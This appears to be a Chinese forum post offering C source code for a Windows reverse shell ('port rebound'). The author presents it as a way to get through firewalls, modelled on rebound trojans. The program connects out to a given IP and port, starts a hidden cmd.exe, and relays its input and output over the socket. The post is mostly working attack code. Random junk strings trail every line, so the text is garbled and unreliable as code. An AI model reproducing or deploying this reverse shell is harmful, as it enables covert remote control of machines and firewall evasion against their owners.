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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?PMF]ah  
dn"&j1@KY  
/* ============================== mKsTA;  
Rebound port in Windows NT F5*NK!U  
By wind,2006/7 F"#8`Ps>  
===============================*/ efK3{   
#include C( ay7  
#include Lq-Di|6q  
T)!$-qdz/  
#pragma comment(lib,"wsock32.lib") $?Et sf#*'  
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void OutputShell(); 3@d{C^\  
SOCKET sClient; \Mi] !b|8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,wI$O8"!j  
Usa  
void main(int argc,char **argv) eHjna\C  
{ 't3@dz_dG  
WSADATA stWsaData; 0v~Eu>Rg  
int nRet; vP_V%5~yN  
SOCKADDR_IN stSaiClient,stSaiServer; /SXms'C  
-<R"  
if(argc != 3) L\:f#b~W  
{ SGZ]_  
printf("Useage:\n\rRebound DestIP DestPort\n"); fs43\m4= m  
return; r35'U#VMk?  
} x/7d!>#;  
P ~pC /z  
WSAStartup(MAKEWORD(2,2),&stWsaData); &ye,A(4  
wRc=;f  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Up(Jw-.  
Rk1B \L|M  
stSaiClient.sin_family = AF_INET; ^m3[mY [a  
stSaiClient.sin_port = htons(0); #Cwzk{p(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <`'^rCWI?  
&#AK#`&)0i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .7BB*!CP  
{ [P,/J$v^~  
printf("Bind Socket Failed!\n"); %LL*V|  
return; ylV.ZoY6  
} O_f+#K)  
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stSaiServer.sin_family = AF_INET; FY^#%0~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Kb<^Wdy4T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~#doJ:^H3  
-y@5% _-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #^\q Fj  
{ Ws+Zmpk%  
printf("Connect Error!"); SS4'yaQ  
return; v}$s,j3NO  
} *\UxdL 22  
OutputShell(); c|kQ3(  
} ;[)t*yAh  
liYR8D |  
void OutputShell() 5M.KF;P  
{ 97$1na3gq  
char szBuff[1024]; #WOb&h  
SECURITY_ATTRIBUTES stSecurityAttributes; 7c:5 Ey  
OSVERSIONINFO stOsversionInfo; aCL_cVOMR  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W?(^|<W  
STARTUPINFO stStartupInfo; Fu K(SP3  
char *szShell; ";)SA,Z  
PROCESS_INFORMATION stProcessInformation; D^ E+#a 1  
unsigned long lBytesRead; ""j(wUp-W  
>=|;2*9v  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?z:Xdx\l  
,| \62B`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c{iF  
stSecurityAttributes.lpSecurityDescriptor = 0; $WOiXLyCk  
stSecurityAttributes.bInheritHandle = TRUE; DwQa j"1<%  
vd4}b>  
"S">#.L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J!%cHqR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HuX{8nl a  
q{rc[ s?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $] js0 )>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \X'{ ee  
stStartupInfo.wShowWindow = SW_HIDE; a"!D @a  
stStartupInfo.hStdInput = hReadPipe; ]Z@+ |&@L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vFKt=o$ g  
.kBZ(`K  
GetVersionEx(&stOsversionInfo); ng ZkBX  
}ph;~og}y  
switch(stOsversionInfo.dwPlatformId) lS`hJ:  
{ :QSCky*i  
case 1: \XG18V&  
szShell = "command.com"; E&?z-,-o@  
break; ozs xqN  
default: kUl:Yj=&  
szShell = "cmd.exe"; (I?CW~3#  
break; b,?@_*qv+  
} hBSci|*f  
Lv;R8^n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Cq7EdK;x  
'xO^2m+N;  
send(sClient,szMsg,77,0); Vx]{<}(gr  
while(1) 94=aVM\>>  
{ Z/z(P8#U\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u>G#{$)  
if(lBytesRead) FyXz(l:  
{ K22'XrN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [6bK>w"v  
send(sClient,szBuff,lBytesRead,0); |JpLMUG  
} k5>K/;*9  
else oSb,)k@  
{ Ax#$z  
lBytesRead=recv(sClient,szBuff,1024,0); Wr\rruH6  
if(lBytesRead<=0) break; DqLZc01>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :v_H;UU  
} [l+1zt0w0  
} sK#)wjj\^  
9d7$Fz#  
return; py,B6UB5  
}
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